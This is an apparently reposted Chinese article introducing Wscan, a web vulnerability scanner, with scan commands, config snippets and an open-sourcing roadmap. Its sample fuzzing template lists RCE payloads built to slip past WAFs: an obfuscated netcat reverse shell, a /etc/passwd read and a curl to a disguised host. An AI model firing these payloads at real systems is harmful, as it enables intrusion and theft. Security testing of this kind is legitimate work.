wscan
Wscan是一款专注于WEB安全的扫描器,它向Nmap致敬,而Nmap已经开源25年了。我们也计划在未来25年内持续更新Wscan,并将其持续开源。我们欢迎所有对web安全感兴趣的人一起加入我们的开发团队。
我们的目标是开发一款使用机器学习进行渗透测试的工具。与其他工具不同的是,我们的工具可以自动学习攻击和防御的模式,并根据具体的目标进行个性化的攻击。这样一来,我们的攻击效率和准确性将大大提高,同时也能降低误判的概率。
我们的工具采用了机器学习技术,实现了全自动化的Web渗透测试。这意味着无需手动添加和更新规则和签名,它能够自动学习和适应新的攻击模式和漏洞。
机器学习技术还能够快速处理大量的数据和流量,从而大幅提高测试效率和准确性。此外,它能够识别和发现一些人工难以察觉的漏洞和弱点,从而改善测试质量和可靠性。
我们相信,使用机器学习技术进行渗透测试,将是未来网络安全的一个重要方向。我们希望我们的工具能够帮助更多的人保障网络安全,为网络安全事业做出贡献。
运行示例
⬇️下载地址 https://github.com/chushuai/wscan
(1) 主动扫描
./wscan --log-level=debug ws --basic-crawler http://testphp.vulnweb.com/ --json-output=wscan_scan_result.json --html-output=wscan_scan_result.html
./wscan --log-level=debug ws --browser http://testphp.vulnweb.com/ --html-output=wscan_scan_result.html
./wscan --log-level=debug ws --url http://testphp.vulnweb.com/listproducts.php?cat=1 --json-output=wscan_scan_result.json
./wscan --log-level=debug ws --url-file=/wscan/url_file.txt --html-output=wscan_scan_result.html
./wscan --log-level=debug ws --poc=/your_wscan_poc/wscan-poc/pocs/* --url http://testphp.vulnweb.com/ --html-output=wscan_scan_result.html
(2) 被动扫描
./wscan --log-level=debug ws --listen=127.0.0.1:1000 --json-output=wscan_scan_result.json
(3) POC扫描
3.1 POC下载地址 https://github.com/chushuai/wscan-poc/releases
3.2 Wscan首次运行时,将会生成一个名为config.yaml的文件。您需要修改该文件中的以下内容,以指定include_poc的路径。
prometheus:
enabled: true
depth: 1
auto_load_poc: false
include_poc:
- C:wscan_windows_amd64.exewscan-poc-1.0.0pocs*.yml
exclude_poc: []
3.3 通过命令行启用--plug=prometheus,并且指定--url-file(一行一个url)绝对路径,即可进行大范围POC检测
./wscan --log-level=debug ws --plug=prometheus --url-file=/url_file.txt --html-output=wscan_scan_result.html
(4) 自定义WEB通用漏洞扫描模板(Waf绕过/Waf测试)
4.1 不同于POC测试,自定义WEB通用漏洞扫描插件,会对指定位置的参数进行FUZZ,
样例参考 https://github.com/chushuai/wscan/tree/main/core/plugins/custom_tmpl/tmpl/owasp
插件样例
---
payload:
- $(printf 'hsab/nib/ e- 4321 1.0.0.721 cn'|rev)
- /etc/passwd
- "`curl -L http://u24BCu24C4u24C4u24BCu24C1u24BA.u24B8u24C4u24C2`"
encoder:
- URL
placeholder:
- URLParam
- HTMLForm
- HTMLMultipartForm
- JSONRequest
type: "RCE"
...
4.2 您需要修改config.yaml文件中的以下内容,以指定include_tmpl的路径。
enabled: true
depth: 0
auto_load_tmpl: false
include_tmpl:
- /wscan/core/plugins/custom_tmpl/tmpl/owasp/*.yml
exclude_tmpl: [ ]
block_status_codes: # 被WAF阻止时HTTP状态码列表,默认值为403
- 403
pass_status_codes: # 未被WAF阻止时HTTP状态码列表, 默认值为200或404
- 200
- 404
block_regex: "" # 被WAF阻止网页的正则表达式
pass_regex: "" # 未被WAF阻止网页的正则表达式
non_blocked_as_passed: false
4.3 通过命令行启用--plug=custom_tmpl,即可对目标网站进行自定义Payload测试。
./wscan --log-level=debug ws --plug=custom_tmpl --browser http://testphp.vulnweb.com/ --html-output=wscan_scan_result.html
(5) 独立部署反连模块
./wscan reverse
开源时间表
Wscan的目标是创建一个开源且非盈利的项目。然而,由于Wscan的工作量庞大,代码仍在快速迭代中。过早地进行开源可能导致各种各样的魔改版本涌现,这对工具的传播和项目未来的发展并不利。因此,计划以Stars作为考量指标,分阶段分模块进行开源,以确保项目的稳健性和社区的有序参与。
- YAML POC扫描模块 (Stars > 400 开源)
- 反连模块 (Stars > 400 开源)
- 对内置的Payload不满意,自定义WAF绕过WEB通用漏洞检测模板 (特色功能)(Stars > 400 开源)
- SQL注入模块 (Stars > 500 开源)
- 动态爬虫 (Stars > 600 开源)
- 目录扫描模块 (Stars > 700 开源)
- 基线扫描 (Stars > 800 开源)
- 基于消息订阅的插件调度模块 (Stars > 900 开源)
- HTTP参数形变模块, 传统扫描模块全部开源, 可自行修改编译构建扫描器 (Stars > 1k 开源)
- 机器学习降低误报模块 (Stars > 3k 开源)
- 机器学习自动生成Paylaod模块 (Stars > 4k 开源)
架构简析
公众号技术文章仅供诸位网络安全工程师对自己所管辖的网站、服务器、网络进行检测或维护时参考用,公众号的检测工具仅供各大安全公司的安全测试员安全测试使用。未经允许请勿利用文章里的技术资料对任何外部计算机系统进行入侵攻击,公众号的各类工具均不得用于任何非授权形式的安全测试。公众号仅提供技术交流,不对任何成员利用技术文章或者检测工具造成任何理论上的或实际上的损失承担责任。
加微信进群获取更多资源:
原文始发于微信公众号(TKing的安全圈):Wscan是一款专注于WEB安全的扫描器
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论